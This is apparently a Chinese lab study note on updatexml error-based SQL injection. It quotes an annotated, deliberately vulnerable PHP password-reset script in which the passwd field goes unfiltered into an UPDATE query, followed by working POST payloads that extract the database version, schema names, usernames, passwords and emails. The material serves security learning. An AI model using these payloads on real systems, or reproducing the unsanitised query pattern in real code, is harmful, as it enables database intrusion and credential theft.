updataxml报错注入

// take the variables//接受变量
// //也就是插入post提交的uname和passwd，参见：https://www.w3school.com.cn/sql/sql_insert.asp
if(isset($_POST[‘uname‘]) && isset($_POST[‘passwd‘]))

{
//making sure uname is not injectable//使用了check_input函数，确保了uname不可注入
$uname=check_input($_POST[‘uname‘]);  
//73步中没有对passwd进行像uname一样的过滤，导致passwd可以注入
$passwd=$_POST[‘passwd‘];


//logging the connection parameters to a file for analysis.//将连接参数记录到文件中进行分析。
//fopen默认是打开文件result.txt，权限<a>是不会覆盖原文件，当文本不存在时就创建文本
$fp=fopen(‘result.txt‘,‘a‘);
fwrite($fp,‘User Name:‘.$uname."\n");
fwrite($fp,‘New Password:‘.$passwd."\n");
fclose($fp);


// connectivity //连通性
// sql查询语句
// 从表users中的username列的$uname行查询username和password
// LIMIT用来限制sql查询后返回结果的数量，LIMIT 0,1指从第0位开始返回1条数据
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
//mysql_query — 发送一条 MySQL 查询，但是在php5.5.0之后就废弃，换为了mysqli_query和PDO::query
//90行，执行查询
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
    if($row)
    {
          //echo ‘<font color= "#0000ff">‘;    
        $row1 = $row[‘username‘];      
        //echo ‘Your Login name:‘. $row1;
        //update用于修改表中的数据，参见：https://www.w3school.com.cn/sql/sql_update.asp
        //更新表uses中的列password为$passwd,在和列username中$row1同行的位置
        $update="UPDATE users SET password = ‘$passwd‘ WHERE username=‘$row1‘";
        //下面这句执行查询语句真不知道是查询什么，updata用来更新数据，查询updata，好像没意义
        mysql_query($update);
          echo "<br>";
    

uname=admin&passwd=1‘ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#&submit=Submit

uname=admin&passwd=1‘ and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#&submit=Submit

uname=admin&passwd=1‘ and updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=‘security‘ )),0)%23&submit=Submit

 uname=admin&passwd=1‘ and updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=‘security‘ limit 0,1)),0)%23&submit=Submit 

uname=admin&passwd=1‘ and updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema. columns WHERE table_name=‘users‘ and table_schema=‘security‘ limit 0,1)),0)%23&submit=Submit

uname=admin&passwd=1‘ and updatexml(1,concat(0x7e,(select concat(id,username,password) from security.users limit 0,1),0x7e),1) %23&submit=Submit

uname=admin&passwd=1‘ and updatexml(1,concat(0x7e,(select concat(id,email_id) from security.emails limit 0,1),0x7e),1) %23&submit=Submit

uname=admin&passwd=chybeta‘ and updatexml(1,concat(0x7e,(SELECT group_concat(0x3a,username,0x3a,password,0x23) FROM (select * from users)tmp ),0x7e),1)#&submit=Submit